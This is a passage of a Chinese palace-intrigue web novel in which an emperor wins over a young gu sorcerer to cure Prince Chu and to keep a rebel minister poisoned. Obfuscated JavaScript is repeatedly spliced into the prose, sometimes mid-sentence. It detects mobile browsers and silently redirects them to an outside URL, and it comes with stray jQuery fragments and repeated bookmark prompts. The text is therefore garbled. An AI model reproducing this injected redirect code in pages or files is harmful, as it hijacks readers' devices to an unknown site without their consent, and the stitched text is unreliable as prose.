自己想跟他好好说话,尽量不吓到他,结果在他眼里却又变成了诡计多端。 自己看上去,就那么像是城府深沉的人吗。 ……好像也确实是。 郑遂清了清嗓子,干脆冷下了脸来。 “倘若朕真的要杀你,何须找什么理由?” 开什么玩笑?他可是天子。 就连徐敬意那个老贼都得在自己面前装人,对付一个区区小屁孩儿难道还需要拐弯抹角的? 就算他是影巫,就算他是鬼师的大弟子,那又能怎么样? 鬼师要是真在乎自己这个徒儿,早就打进京城来寻人了。 徐敬意真的有心想杀,随时都可以动手。 影巫沉默了。 过了好一会儿,他似乎也意识到了自己的想法有多的愚蠢。 当下狠狠的噎了一下,转头小心翼翼的看了一眼郑遂,随即才试探着开口说道:“自然是看出来的……你和原来的那个皇帝,一点都不像了。” 郑遂挑了挑眉:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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所以韩王才会出此下策。 郑遂要是**身亡,韩王大可以将此事推到别人的身上。 然后他作为皇子,打败了其他兄弟之后,就可以顺理成章的上位了。 第116章 甘心一生被人摆布吗 看来这韩王,心机也不浅啊。 甚至还能当着徐敬意的面儿,说出要瓜分国土,自己称王的话。 这也就是韩王对徐敬意下手实在是太狠,不是靠徐徐善诱,而是直接威胁了徐敬意的性命妻女,让他为自己卖命,徐敬意才对韩王半点臣服之心都没有。 否则徐敬意一旦真的帮了韩王做事,回过头来,徐敬意不就顺理成章的成了那个替罪羊,那个毒害了郑遂的人吗? 影巫有些震惊的看着郑遂。 他知道这个皇帝心机很深,却不想能深到这般程度。 而且他还能在这么短的时间里,就把韩王的计划分析的头头是道。 郑遂派人盯着韩王,所以略知一二只是其一,更重要的是他自己心中真的有成算。 影巫一时间竟然不知道该哭还是该笑了。 诚如郑遂所言,从一开始的时候,鬼师就没有和自己提起过太多的计划。 对于郑遂的了解,也不过就是偶然间从鬼师那里得知罢了。 所以,他未参与太多,却也同时成了替罪羊、成了关键时刻可以被丢弃的弃子。 连影巫落得如今这个地步,亦是因为鬼师从一开始起就没想把自己保住。 可是转头想一想,就算自己被保住了,又能怎么样呢。 他们面对的敌人,可是郑遂。 哪怕不论身份,他们也斗不过郑遂的。 最后的下场,未必会比现在好多少。 影巫有着任命一般的垂下了头去:“既然你什么都知道了,那就杀了我吧。” 他本就该死的,哪怕他并未主动做过什么。 郑遂却道:“我话还没有说完,你急什么?” 影巫有些意外的看着郑遂。 难道,他们做帝王的都有这种爱好吗? 话说完了,让对方心甘情愿的**? “其实,韩王的计划,的确很有可行性,甚至极大概率会成功的。” 如果他遇到的不是自己的话。 除了郑遂本身以外,还有一个很大的变数。 而这个变数,正是出在了鬼师的身上。 鬼师倒真不辜负他这个名字,的确诡计多端。 即便臣服于韩王,也并未完全踏实,他也有自己的打算。 韩王让他杀了楚王,控制住徐敬意,鬼师就暗地里做手脚,把水搅浑了。 届时韩王即便成功了,也不会那么好受。 如果不成功,那鬼师也有退路。 比如楚王没死这件事,就是鬼师在背后捣的鬼。 看似是郑遂把楚王给救了出来,但如果没有鬼师在背后策应呢? 鬼师身为蛊师,难道还不知道楚王到底死没死? “其实以你师父的能力,不管楚王身上的毒,到底是你们二人谁下的,楚王是死是活,于他而言都不是什么秘密。”郑遂说道。 “所以,你师父从一开始的时候,就没想着要忠心于韩王。” 而影巫,在其中起到的作用,就是在关键时刻被抛出去的那个引子。 鬼师的能耐自在影巫之上,连影巫都能看得出来,自己的皮囊之下,已非当日的灵魂。 那鬼师或许便可在千里之外远远的感应到,韩王落败,虽非定局,可却也基本与**无异。 否则,影巫如何能如此轻易的落到自己的手中? 只要鬼师但凡动一点点想保住影巫的心思,郑遂根本不能如愿,就更别提替楚王拿到解药了。 影巫细弱的身板颤抖了起来,他知道自己无用,知道自己迟早会成为一枚被随意丢出去的弃子。 但师父,竟真的一点点维护自己的念头都没有吗? 哪怕是残了、废了,只留他一条命,苟延残喘,也从来没有想过吗? “人的命,是要由自己决定的。”郑遂忽然说道。 “我知道你们这些巫蛊师自幼学的东西与我们不同,比起人为你们更相信天命,但是我不信。” 郑遂缓缓转过头来,目光落在影巫的身上。 “你难道就想甘心赴死,关心自己的命运,一生都被别人摆布,连生死都不由得自己说了算吗?” 影巫怔怔地抬头,看向郑遂的目光之中充满复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑遂把影巫带出了监牢,奉命来开门的禁军看着那个亦步亦趋跟在郑遂身后瘦弱的少年,人已经懵了。 眼见着郑遂直愣愣的就把影巫往他自己的马车上领,那禁军还是忍不住上前多嘴问了一句。 “陛下确定要带他一起走吗?” 这小子虽看着柔柔弱弱,可到底也是鬼师的徒弟。 听说像他们这种巫师,最擅长蛊惑人心。 莫不是刚才他与郑遂说话的时候,使了什么妖法蛊惑了郑遂,才让郑遂把他放出来。 郑遂转头看了禁军一眼,微微一笑。 抬起手,在他肩上拍了拍。 “慌什么。” 人就是郑遂让他们抓来的,影巫若真有那般本事,早在他们动手时就会逃得无影无踪了,岂会让他们给抓进这监牢里来? 禁军连忙后撤一步拱手道:“臣恭送陛下。” 影巫小心翼翼地挪动着身子,到了马车边忽然停下了脚步。 抬起眼,飞速掠过郑遂,又赶忙垂头。 “何故不上来?”郑遂问。 “我……不敢。”影巫怯怯的说道。 与君主同乘一车,这可是影巫从前想都不敢想的事。 便是朝中重臣,太后、皇后,都未必能有此般殊荣。 影悟自认为只是一个低贱到尘埃里的小人物,纵然如今允诺跟了郑遂,可说的难听了些,终究是个戴罪之身。 他配吗? 郑遂的目光落在他身上,忽然轻笑一声。 “叫你跟上来你就跟上来,朕的命令无需质疑,只需听从。” 影巫身子微微一颤。 郑遂的意思,他明白。 他指的并非同城一车之事,更是以后千千万万个日子。 只要郑遂下令,他便只有服从,没有反抗的份。 这与他曾经在鬼师身边的时候似乎没有什么太大的区别,但是却亦有所不同。 鬼师没有许诺他一生平安顺遂,郑遂许诺了。 此时此刻,除了面对君王时本能的恐惧以外,庆幸也从影巫心中油然而生。 庆幸面前的这个男人随时都有可能要了他的命,但是却偏偏给了自己另外一个选择。 影巫不再犹豫,跟在郑遂身后小心翼翼地上了车。 不过他却只坐在了车板上。 郑遂刚刚坐稳,一转头就看见了窝在自己脚边那个小小的身影。 一时间不禁有些哑然失笑。 像个狗儿似的…… “为何不坐上来?”郑遂问道。 影巫微微敛眸:“我……我的身份不合适。” 郑遂深深的看了影巫一眼,没有说话。 鬼师虽然对着孩子苛刻,不过教养都是极好的。 有了资本却不骄纵,的确不错。 而且确实没有必要一开始就对他特别好,过度的资源倾斜只会让人生出不该有的心思来,正是如此。 马车一路晃晃悠悠地往京郊另一处农庄走去,正是之前禁军在京城的**点。 只是好好一个农庄出来的却都是身高八尺的大汉,叫人见了难免会心生怀疑。 禁军的存在,还是知道的人越少越好,所以郑遂便将他们的**点换了地方,只是楚王如今身子骨还未好,即便有太医全力救治可体内余毒未清,终究是后患无穷。 所以郑遂便将楚王继续安置在了那里,只等他来日身体好了之后,再将她接进皇宫来。 影巫一路垂着头,谨慎地跟在郑遂的身后进了农庄最深处的一个小院。 刚进院子,他便嗅到一股熟悉的气息,伴随而来的是浓重的药味。 他不禁有些惊讶的看向郑遂。 便是早知楚王没死,且已被郑遂的人给救下,但是即便还未见到楚王本人,影巫便也隐隐能判断的出,这楚王不仅没死,而且还比之前的状况好了许多。 直至此时此刻,影巫才明白,他们再厉害终究厉害不过皇权。 哪怕是曾经郑遂自身难保的情况下,可人家终究是正统。 他若想让一个人活,那这个人就是能活。 哪怕身中剧毒,可只要将天下奇珍药材全都堆在一个人的身上,光是吊着性命,也能保他活很久了。 想到这里,影巫的肩膀不禁一颤。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287948|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 世事难料,是福是祸,谁又能说得准呢? 他曾经以为只要自己被鬼师放弃,哪怕是有手眼通天的本事,终究性命难保。 可如今他忽然就觉得,原来被鬼师放弃。未必是什么坏事。 郑遂把他的惊讶颤抖都看在眼里,唇角在不经意间勾起一抹笑,随即走上前,手指忽然搭在了影巫的肩膀上 影巫猝不及防,转头看向郑遂。 只听郑遂道:“还不过去吗?” 影巫连连点头,深深地对着郑遂鞠了一躬,便赶紧猫着腰,一头扎进了那小屋内。 郑遂在原地停顿了片刻,连迈步走了进去。 楚王正斜斜的靠在床边,色虽然依旧惨白,人也消瘦的不成样子,但是瞧这精神头,确实比之前好了不少。 太医正跪在床边给楚王诊脉。 这些日子,太医几乎是日日夜夜贴身陪伴的,而且正如影巫所料,光是闻着这屋子里残余的药香,都知道这定是一些天下难寻的名贵药材。 而这些药材,就这样被郑遂大手一挥,全都给楚王用了。 果然,哪怕是他沉疴已久,身子骨本就弱的一股风吹过来都能散了,又中了毒,可凭如今的状况,就算是影巫没来,至少也能再活个一年半载的了。 楚王看到郑遂,顿觉惊喜不已。 脸上即刻便露出了一个笑容,作势要掀开被子下床。 郑遂微微抬起手,止住了楚王的动作。 “你身体不好,先歇着吧。” 随后招了招手,示意影巫过来。 “这是朕给你寻来的,能为你治病的人。” 早在方才影巫一进门的时候,楚王就留意到他了。 这个少年似乎颇有些眼熟,不过既是跟着郑遂一块儿来的,楚王也并未有疑,只是满脸歉意的对着郑随道:“皇兄日夜操劳,还要为臣弟寻找大夫,臣弟心里实在过意不去。” 自小,太医便断定楚王这副身子骨很难将养,若是运气不好,一场风寒都能要了命。 所以楚王一直觉得,哪怕是这身体里的毒解了,只怕也没办法平安顺遂的过完这一生。 第118章 你就是影巫 郑遂却走上前扶着楚王的肩膀,让他安稳的坐回榻上。 “你安心便是,世间名医众多,朕一定会寻人来医好你的身子。你本就是皇室宗族,这是你该有的待遇,不要总觉得自己不配。” 楚王感激的看了一眼郑遂,眼眶有些发热。 从小到大,除了母妃以外,几乎任何人见了他都是绕路走。 就连先帝知道这个皇子没有什么栽培的必要,也是极少关心他。 哪怕后来楚王真的磕磕绊绊的活到了这么大,但在先帝有生之年也几乎从未正眼看他。 他未曾想过,到后来真正对自己好,能盼着自己活下去的人,竟然是郑遂。 这足够楚王惊讶。 要知道,他们并非普通兄弟,而是皇家兄弟。 朝堂之事千变万化,每一瞬的决定都有可能导致完全走向不同的结局。 所以即便是像他这种身体羸弱,在任何人看来都无法继承大统的皇子,也终究还是需要提防。 但郑遂却偏偏如此待他。 楚王想不明白,自己有什么可值得证随旧的呢? 郑遂看出了楚王心中的疑惑,却并未答复,只是招招手让影巫上前来。 随即才向楚王介绍他。 “他就是鬼师的徒弟,影巫。” 楚王还未从疑惑中回过神来,就骤然听到郑遂此言。 他猛的抬起头,震惊的看向影巫,身子连连往后挪了好几寸。 抬起手,来颤颤巍巍的指着影巫。 “你、你便是影巫?” 难怪觉得熟悉,原来是曾有过一面之缘。 在他**前夜,他忽然在王府里见到了一个脸上的小黄门。 他那王府本来就是人人都能来的地方,谁也不会把他藩王的身份放在眼里,楚王早就被欺负习惯了。 当下,便也并未多想。 他一直以为是那徐敬意留下的探子,或者是韩王的人不守规矩,进了王府之后便到处乱窜。 却不想原来,他就是给自己下毒的人。 “你听说过这个名字?”郑遂疑惑的问道。 就连郑遂自己对影巫的了解,也是源于徐妍之口,几番探查之下才终于确定了鬼师影巫师徒二人乃是被楚王他们下药的真凶,这才将影巫抓来的。 而楚王对影巫的了解,似乎是要比自己还早一些。 楚王有些畏惧的看了一眼影巫,嘴巴张了又合话,已经卡在了喉咙边,就是说不出来。 郑遂知道他这是惧怕影巫,当下便道。 “如今影无疑是朕的手下,你不必担心,有什么便说就是了。” 楚王听了郑遂的话后更为惊讶了,他有些不确定的看了影巫一眼。 这样一个人,真的可用吗? 哪怕是利用,可也似乎风险极高。 影巫面色有些尴尬,一直垂着眸,没敢直视楚王。 毕竟他虽为鬼师指使,但从某种意义上来讲,却也是差点要了楚王命的不共戴天的仇人。 只能弓着腰,静静的等待着楚王的后话。 楚王见他一直不语,这才仔细的打量了他片刻。 这一看才发现,这少年简直瘦的就剩下了一把骨头。 连本该带这些少年气的脸颊都凹陷了下去。 只是瞧着眉宇之间,依旧带着几分茫然青涩。 且瞧着他搅动自己衣裳下摆的小动作,让人怎么看,怎么觉得他对自己臆想中的那个大名鼎鼎的巫师形象不大相符。 看了又看,就连楚王都忍不住怀疑郑遂是不是找错人了。 但想了想又觉得不可能。 郑遂不至于连这点事都弄错的。 楚王更加茫然了,下意识的问他:“你真的是影巫?” 影巫身子竟狠狠一颤,紧接着就扑通一声跪在地上,一头磕了下去。 “回楚王殿下,小人的确是影巫。但是殿下体内的蛊毒并非是小人所操控的,小人当初只是在师父在鬼师的指使之下,把药虫中到了殿下的饮食之中。” 影巫不敢当着郑遂的面儿扯谎,于是便将当初鬼师的交代都一五一十的说了。 那所谓的药虫其实也是蛊虫的一种,只不过蛊虫是在活着的时候种进人体内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287949|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但药虫却不一样,得等**之后,磨成药粉,悄悄的混到饮食,或者是被下蛊之人正在吃的其他药物之中便可。 养药虫需精心,就连人都吃不上新鲜食物的年月里,药虫每顿所吃的却都是新鲜的蔬果嫩叶,因而药虫自身并没有什么怪味。 再加上其本身近乎透明,哪怕是只掺在水中,几乎也不会被人所察觉,所以这药虫用起来极为方便。 但是用处却极大。 别看药虫是死后被磨为药粉才能使用,甚至与普通药材无异,但是服用下去之后,药虫的残骸却能长久的寄生在人的体内。 就如无数个小蛊虫钻入到了人的几率血液之中般,发作时的症状与**如出一辙。 因此鬼师称之为未生已死之身。 而一旦中了这种蛊毒,慢者,会终身活在痛苦之中。 每隔一段日子,便会发作一阵。 其发作之时痛苦难忍,浑身上下的骨头都会如碎裂一般剧痛,内脏也会有如同被万虫啃食的感觉。 而在发作之时,人身体会呈佝偻状,如发了癫痫一般。 在这种情况下,就连**都做不到? 因为体内的药虫与**之人属于寄生关系,所以药虫会牵制着,不让人**。 除非**之人对外人有嘱托,让人杀了自己,或是有人看不下去主动出手,才能结束这蚀骨一般的痛苦。 而快者,则会像宫中常用的鹤顶红一般,服用下去,不过片刻人就会彻底断气。 至于是快是慢,全由蛊师自己决定。 这也是这种蛊毒最令人痛恨之处。 因为只要中了这种毒,就连人的生死都由不得自己做主了。 “这么说来,你师父如今下的是慢毒?”郑遂问道。 影巫点了点头:“大差不差,若如陛下的分析,师父应该是一开始就没曾想要了楚王殿下的命。而且楚王殿下如今正在京城,师父则在千里之外,如若师父并未偷偷潜入京中,楚王殿下便可性命无忧。” 郑遂若有所思的点了点头。 影巫所言,跟徐妍所说相差无几。 第119章 让他**不是更好 这蛊毒虽然发作厉害,但到底也是需要股市的操控的,距离过远便无法操控,那他们这边动手的机会变多了。 “你可能解毒?”郑遂问道。 “可以。”影巫点头。 “这毒虽然由师父所操纵,但所用古虫都是一样,解法也是一样。” 影巫从自己的里怀里掏出一个白瓷瓶来,双手恭恭敬敬的捧到郑遂面前。 “陛下请看,这便是解药。” 这解药,便是用于彻底清掉楚王体内的药虫残骸的。 让其彻底消亡,便不能作祟,以此便斩断了与蛊师之间的联系,鬼师自然操纵不了楚王,楚王就有救了。 郑遂接过来,看了看,目光便落在了影巫的身上。 “之前,朕便让人从你这里拿走过一个解药。” “没错。”影巫深深地埋下头去。 “陛下恕罪,那时小人虽也拿出解药,但并非是解这蛊毒的药,而是一种可以用于缓解的。服用了之后,便可以暂时切断与股市之间的联系,但终究也只是缓兵之计,不可根治。” 话说完,影巫有些胆怯的看了郑遂一眼。 随即又赶紧叩首道:“陛下恕罪,小人并非有意隐瞒,只是那时候……” 那时候他并不知道郑遂抓自己来是何意,所以也不敢交出自己的实底,只能先暂且交出一瓶可暂时缓解的解药去,先保住自己的性命再说。 郑遂理解的点了点头,并没有责怪影巫,只是让他前去用药。 影巫如蒙大赦,连忙转头要去给楚王把脉。 可还未触及到楚王的手腕,目光扫过楚王的面色,就忽然怔住了。 方才隔得远了些,他也没敢仔细看。 而这会儿细细看了才发现,楚王的精神头虽好了,但明显是补药用的过重的原因,并非是郑遂把之前那瓶解药给他服用了。 影巫忍不住转头,疑惑地看向了郑遂。 这是何故? 郑遂瞧出了影巫疑惑,便徐徐说道。 “之前那瓶解药,朕并没有给楚王用。这事朕待会儿会与你说,你先给楚王解毒。” 影巫也不敢多问,敢忙就去给楚王把脉。 可这一把脉,影巫却瞪大了眼睛。 他脸色忽变,看的楚王心当即就悬在了嗓子眼。 急切的问道:“难道这毒不能解了?” “不是,楚王殿下,请容小人再确认一番。” 影巫闭目,细细的给楚王把着脉。 过了片刻之后,他的脸色变得更难看了,抬头有些颤颤巍巍的看向郑遂。 “回陛下,楚王体内的蛊毒可解,但是如今,楚王体内的药虫碎末有被人操纵的迹象。” “你说什么?”郑水猛的皱起了眉。 方才影巫还提起过鬼师身在千里之外,可操纵的余地很大,而如今却已有了**控的迹象,那这岂不是证明,鬼师已在京城附近了? “距离多远可操控?” “至少得是百里。”影巫快速说道。 郑遂迷起眼,百里……已经不远了。 如今毒虽可以解,但是一旦动手,鬼师那边必会有所感应。 虽然影巫被抓,本就是鬼师故意放出来的,但是此刻鬼师前来,只怕另有所图啊。 他是受韩王之命而来,还是说他也想掺和进京城这乱局,从中分一杯羹? 郑遂思索再三,迅速下了决断。 “先不管那么多,救了命再说。” 影巫连忙应下,将那瓶解药恭恭敬敬的递给楚王。 “楚王殿下,此药服用之后会痛苦难忍,期间会至少持续十个时辰。但请楚王殿下放心,此药不会对您的身体造成任何损伤,您只需要熬过去,便可无恙。” 楚王颤颤巍巍的将那药瓶接过来,搁在掌心里看了一会儿,最终还是下定了决心。 纵然楚王这一生对自己能否活到长命百岁并不抱多大的指望,但是死于这种小人算计之手,楚王仍旧不赶。 留得青山在,不怕没柴烧。 哪怕是以后残了、瘫了,一辈子只能躺在床上,但楚王也想亲眼见一见害自己之人得到应得的下场的那一天。 于是楚王不再犹豫,直接拔下瓶塞,咬牙把解药喝了下去。 初喝时,并无什么反应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287950|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是因为自身的紧张,脸色变得更白了而已。 郑遂忍不住微微皱眉,转身问影巫。 “若是待会儿发作起来,可有什么办法能够缓解他的痛苦?” “此药发作起来的时候,会感觉浑身发热发烫,如同有烈火灼烧一般,且并无什么好办法可以缓解,唯有冷水湿敷能稍微好受一些。”影巫小声答道。 郑遂看向已经隐隐蹙起眉的楚王,忍不住叹了口气,但愿楚王能够熬过这一劫。 于是便吩咐道:“院里所有的奴仆,立刻去备水,要最冷的井水。帕子、布巾也要准备好了。还有太医,这期间,你们务必要守在楚王的身边,寸步不离,明白吗?” 众人纷纷领命。 看着楚王越来越白的脸色,郑遂叹了口气。 此时他也帮不上什么忙,便带着影巫出去了,到了旁边一个空闲的院子里。 “你坐下吧。”郑遂挥挥手,随即坐到了一旁的红木椅上。 影巫揪着自己的衣裳下摆,怯生生地走向前来。 却仍是杵在郑遂面前,不敢有多余的动作。 “朕让你坐你就坐。”郑遂有些不耐烦的说道。 影巫这才赶紧坐在椅子上,身子却绷得笔直,一副侧耳倾听之态。 郑遂瞧他这模样,忍不住笑了。 “朕长的有那么吓人吗?” 影巫连忙摇头。 郑水长的确实不吓人,可是他这副姿态坐在自己面前,就已经足够去了影巫的半条命了。 “罢了,你想怎么样就怎么样吧。”郑遂无奈,他也拗不过这小孩,便自顾自的说了起来。 “你上次交出的那瓶解药,朕并没有给楚王用,而是用在了徐相的身上。” 影巫震惊的抬起头来。 给徐敬意用? 影巫对于郑遂的了解或许不多,但是关于徐敬意的那些事,他却是知道的一清二楚? 而且不止他,放眼天下,随随便便拉出一个百姓来,都能把徐敬意的罪行说上一二。 这样一个妄图谋反,心怀不轨之人,让他**不是更好吗?何故还要保住他的性命。 第120章 朕为何要保住他的性命? “那你可知,朕为何要保住他的性命?” 郑遂忽然转头,对着影巫微微一笑。 影巫被郑遂着突如其来的问题搞得一愣,根本不知道该如何回应才好。 他只是一个小人物罢了,两个时辰以前,他才被郑遂收拢到身边,勉强算得上是正式成为了郑遂的一个打手、一个马前卒。 他哪里能知道郑遂的心思? 而且就凭郑遂着心机深沉的程度,只怕就是郑遂身边的心腹也会有看不透他的时候吧? 再者说了,倘若他真能猜透郑遂的心思,估计他也离死不远了。 郑遂本也没有指望着影巫能给自己一个答案,他只是瞧着影巫畏畏缩缩的样子,忽然起了些逗逗他的心思罢了。 瞧着影巫纠结的站在原地,不停地搅动着自己的衣袖,仿佛想要张口回答,却又不知道该如何回答的模样,郑遂忍不住被他给逗笑了。 “罢了,朕不为难你。“郑遂忽然开口道。 影巫猛地抬起头,有些目光古怪的看着郑遂。 直到这一刻影巫才意识到,方才郑遂的真话,不过是为了故意逗自己罢了,偏偏自己还当真了。 一时间,影巫尴尬地连手脚该放在哪里都不知道了。 原来堂堂天子,整个大齐都要对他恭恭敬敬、便是徐敬意那般心机深沉的也要对他警惕三分的人物,竟然也会像普通人一般开玩笑? 只是这种玩笑,常人轻易承受不起罢了。 毕竟回答的好与不好,反应是对是错,都可能是会要了性命的。 当然,这也无意是在向影巫证明一件事:郑遂是一个轻而易举就能拿捏住他的心思,将他**于股掌之中的人。 倘若他敢对郑遂生出半点不该有的心思来,郑遂不仅很快就能发现,甚至还能在第一时间做出对应之策。 到那个时候,他可就真的只剩下死路一条了。 郑遂先前与自己说的话,并不是开玩笑。 自己要是能乖乖听他的,以后为他所用,对他事事顺从,郑遂必然会给他一个光明灿烂的未来,允诺他一个平安顺遂的余生。 反之…… 反之怕是也不必想了,答案分明就摆在眼前。 认清了这一点,影巫连忙拱手弯腰,做出一副恭敬之态来。 “小人不明白,还请陛下赐教。” 郑遂对影巫这般反应很是满意,当下微微点了点头。 “你可听说过一句话,叫欲让其亡,必让其狂。” 影巫满脸疑惑的看向郑遂,这句话,他倒是听过。 甚至这还是鬼师常常挂在嘴边的一句话。 毕竟他们这些巫蛊师最擅长的,不就应该是**人心吗? 哦,对了,自己除外。 他大概是巫蛊师中的异类,甚至除了鬼师大弟子这个名头和鬼师交给自己的这一身能耐以外,他的性情与巫蛊师一点都不沾边。 影巫察觉到自己的思路有些跑偏了,连忙收回了神志,有些疑惑的看向郑遂。 他大约明白郑遂是什么策略了。 他是让徐敬意先尝到甜头,然后从中抓到对方的错处,再将其一举击垮。 其实这本没什么问题,但影巫疑惑之处,是在于徐敬意这人本身就已经足够猖狂了,郑遂还有这个必要吗? “不理解是吗?”郑遂问道。 影巫诚实地点了点头。 他的确不理解 按照正常的思路,这徐敬意已然成了**之末,早晚都是要死的,只要郑遂不给他解药,任由他自生自灭就好了,何必还要如此? “那你有没有听过另外一个说法,叫狗急跳墙?” 郑遂背着手,缓缓走到窗边,凝视着窗外已经飘零的落叶,徐徐开口道。 “如果让徐敬意一直这样苟延残喘下去,你觉得他是会认命,还是会放手一搏呢?” 影巫忽然有些明白郑遂的意思了。 徐敬意是一个极为猖狂,却也极为惜命之人。 这个命并非是指他本身的性命,而是指在他有生之年是否能得到自己想要的结果。 换而言之,徐敬意这么久以来的种种谋划是为了什么呢? 不就是为了坐上如今郑遂所做的那个位置上吗? 只要他登基加冕,哪怕只有一天,也算是全了徐敬意的心愿。 但是在他付出了全部心血,却在中途被人给摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287951|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一道,且告诉他你根本没有成功的可能,不会有人让你如愿的时候,徐敬意又会怎么想? 大约就像郑遂所说,将其逼到了困境之中,也相当于是将其彻底激怒了吧。 若是如此,那还谈何纵横谋略? 直接真刀**的干上一场,能胜则是最好的结果,若败,徐敬意也拼尽了全力。 并且他这样的人,一旦被他咬到了一口肥肉,他就会死死的咬着不放,直到将对方啃的连骨头渣都不剩了为止。 若真如此,那郑遂也是要被徐敬意拖到地狱之中的。 可如果郑遂所有的算计谋划,到最后换来的也是这样的一个结果,那又让郑遂如何心甘情愿呢? 这本就是一场要么你死,要么我亡的博弈。他们两个绝对不可以共存,都必须要使出全力奋力厮杀,直到拼出最后一刻的那个结果,事情才算是彻彻底底的了结。 所以徐敬意的性命必须得留。 不仅要留,还得让他好好的活着,让他看到眼前可以抓住的希望,让他以为自己还有机会与郑遂一搏,他没有浪费他曾经的心血, 唯有在这样的时候,徐敬意的错处才会真真正正地暴露出来,与他所有往来交好的那些人有什么不轨之心,也才能被郑遂所看穿。 影巫不禁震撼的看向了郑遂。 郑遂这是要玩一把大的,他铺设的这个局是将所有人都装在其中,也包括他自己。 就像是一个修罗场内,挤满了来自各方的武士,他们相互厮杀、博命,直到最后只剩下一个活口。 “但是朕不会让他那么痛快。”郑遂忽然转过头看向影巫。 “那么现在,你是否知道朕为何一定要将你留在身边了吗?” 影巫重重地点头,他明白了 徐敬意身上的毒,是由影巫所操控的,只要影巫一天不彻底交出解药去,徐敬意就一天不会好过。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第121章 这样怕不稳妥吧 他只能活在郑遂的操纵之中,无法自拔,却又不得不因为执念,而朝着自己曾经设定的那条路走去。 影巫不禁打了一个寒颤。 瞧如今这样子,韩王把徐敬意放出来,简直是大错特错了! 这表面上来看,是韩王让徐敬意回来,为他扫平前方的障碍。 可实际上,韩王做出这个决策,真的是他主观上的决定吗? 不!不是的! 从秦王大败于禁军的那一天起,韩王就已然落入了郑遂的算计之中。 而徐敬意的回朝,则本就是郑遂所能预料到的结果。 他根本就就是早就笃定了韩王一定会因此而慌张,一定会急于铲除朝中对他的阻碍,但又不想脏了自己的手,更想保存实力,因而他必会推出一个替罪羊。 当时急于活命的徐敬意,可不就是这个替罪羊吗? 可他又哪里知道,郑遂从始至终的目的都是将徐敬意弄回京城来,放在自己的眼皮子底下。 而如今的结果,也的确如郑遂所愿。 徐敬意回来了,身上余毒未清,从今往后他只能苟延残喘的活着。 直到郑遂允许他断气的那一天,徐敬意才能摆脱这惨无人道的痛苦。 影巫不禁有些紧张的咽了咽口水,他实在是不知自己该如何表达现在的心情才好。 其实他也不知道自己还能再说些什么了, 除了乖乖听郑遂的话以外,他竟也从心底油然而生出了一种名为顺服的东西。 那不是因为眼前情况如此,所以才不得不做出的决定,而是一种由内而外的,几乎是等同于从骨子里散发出来的、对郑遂彻底的顺从与臣服。 他不得不承认,郑遂在**人心之道上颇有天赋。 他就好像天生能够看穿所有人内心所想一般,所以他对待任何人都可以游刃有余。 甚至嬉笑怒骂之间,就可以改变这朝堂上铁一般的格局。 事已至此,影巫终于忍不住问出了一个自己一直所疑惑的问题。 “陛下,您还是曾经的陛下吗?” 影巫知道自己这话问出来很有可能会惹火郑遂,他更清楚,郑遂可能根本就不会回答自己的问题。 但他还是忍不住想问。 郑遂却只是微微一笑,走上前,朝着影巫抬起手。 影巫下意识的往后缩了一下,却只见郑遂将手落在了自己的头上,轻轻的揉了揉。 “小家伙,这个问题对你来说,有那么要紧吗?” 